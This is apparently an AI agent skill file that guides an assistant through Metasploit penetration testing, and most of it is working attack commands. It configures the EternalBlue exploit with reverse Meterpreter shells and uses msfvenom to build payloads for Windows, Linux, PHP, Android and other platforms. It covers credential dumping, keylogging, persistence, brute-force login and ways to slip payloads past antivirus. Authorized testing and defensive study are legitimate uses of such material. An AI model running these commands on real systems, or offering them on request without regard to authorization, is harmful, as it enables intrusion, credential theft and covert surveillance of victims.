| name | Metasploit Framework |
| description | This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments. |
| version | 1.0.0 |
| tags | ["metasploit","exploitation","msfconsole","payloads","post-exploitation","penetration-testing"] |
Metasploit Framework
Purpose
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
Prerequisites
Required Tools
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
sudo systemctl start postgresql
sudo msfdb init
Required Knowledge
- Network and system fundamentals
- Understanding of vulnerabilities and exploits
- Basic programming concepts
- Target enumeration techniques
Required Access
- Written authorization for testing
- Network access to target systems
- Understanding of scope and rules of engagement
Outputs and Deliverables
- Exploitation Evidence - Screenshots and logs of successful compromises
- Session Logs - Command history and extracted data
- Vulnerability Mapping - Exploited vulnerabilities with CVE references
- Post-Exploitation Artifacts - Credentials, files, and system information
Core Workflow
Phase 1: MSFConsole Basics
Launch and navigate the Metasploit console:
msfconsole
msfconsole -q
msf6 > help
msf6 > search [term]
msf6 > use [module]
msf6 > info
msf6 > show options
msf6 > set [OPTION] [value]
msf6 > run / exploit
msf6 > back
msf6 > exit
Phase 2: Module Types
Understand the different module categories:
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > show post
msf6 > use post/windows/gather/hashdump
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai
msf6 > show nops
msf6 > show evasion
Phase 3: Searching for Modules
Find appropriate modules for targets:
msf6 > search eternalblue
msf6 > search cve:2017-0144
msf6 > search platform:windows type:exploit
msf6 > search type:auxiliary smb
msf6 > search rank:excellent
msf6 > search type:exploit platform:linux apache
Phase 4: Configuring Exploits
Set up an exploit for execution:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(...) > set RHOSTS 192.168.1.100
msf6 exploit(...) > set RPORT 445
msf6 exploit(...) > show payloads
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > show options
msf6 exploit(...) > check
msf6 exploit(...) > exploit
msf6 exploit(...) > run
Phase 5: Payload Types
Select appropriate payload for the situation:
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
Phase 6: Meterpreter Session
Work with Meterpreter post-exploitation:
meterpreter >
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
meterpreter > getsystem
meterpreter > getprivs
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1
Phase 7: Auxiliary Modules
Use auxiliary modules for reconnaissance:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run
Phase 8: Post-Exploitation Modules
Run post modules on active sessions:
msf6 > sessions -l
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run
meterpreter > run post/windows/gather/hashdump
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence
post/multi/manage/autoroute
Phase 9: Payload Generation with msfvenom
Create standalone payloads:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
msfvenom --list formats
msfvenom --list encoders
Phase 10: Setting Up Handlers
Configure listener for incoming connections:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
msf6 > jobs -l
[*] Meterpreter session 1 opened
msf6 > sessions -i 1
Quick Reference
Essential MSFConsole Commands
| Command | Description |
|---|
search [term] | Search for modules |
use [module] | Select a module |
info | Display module information |
show options | Show configurable options |
set [OPT] [val] | Set option value |
setg [OPT] [val] | Set global option |
run / exploit | Execute module |
check | Verify target vulnerability |
back | Deselect module |
sessions -l | List active sessions |
sessions -i [N] | Interact with session |
jobs -l | List background jobs |
db_nmap | Run nmap with database |
Meterpreter Essential Commands
| Command | Description |
|---|
sysinfo | System information |
getuid | Current user |
getsystem | Attempt privilege escalation |
hashdump | Dump password hashes |
shell | Drop to system shell |
upload/download | File transfer |
screenshot | Capture screen |
keyscan_start | Start keylogger |
migrate [PID] | Move to another process |
background | Background session |
portfwd | Port forwarding |
Common Exploit Modules
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console
Constraints and Limitations
Legal Requirements
- Only use on systems you own or have written authorization to test
- Document all testing activities
- Follow rules of engagement
- Report all findings to appropriate parties
Technical Limitations
- Modern AV/EDR may detect Metasploit payloads
- Some exploits require specific target configurations
- Firewall rules may block reverse connections
- Not all exploits work on all target versions
Operational Security
- Use encrypted channels (reverse_https) when possible
- Clean up artifacts after testing
- Avoid detection by monitoring systems
- Limit post-exploitation to agreed scope
Troubleshooting
Database Not Connected
Problem: Database not connected warning
Solution:
sudo msfdb init
sudo systemctl start postgresql
msf6 > db_connect
msf6 > db_status
Exploit Fails
Problem: Exploit completes but no session created
Solutions:
- Verify target is actually vulnerable:
check
- Ensure correct payload architecture (x86 vs x64)
- Check firewall allows reverse connection
- Try different payload types
- Verify LHOST is reachable from target
Session Dies Immediately
Problem: Session opens but closes quickly
Solutions:
- Migrate to stable process:
migrate [PID]
- Use more stable payload (staged vs stageless)
- Check antivirus isn't killing payload
- Use
set AutoRunScript migrate -n explorer.exe
Payload Detected by AV
Problem: Antivirus blocks payload execution
Solutions:
- Use encoding:
-e x86/shikata_ga_nai -i 10
- Use evasion modules:
use evasion/...
- Try different payload format
- Use custom templates
- Consider manual payload development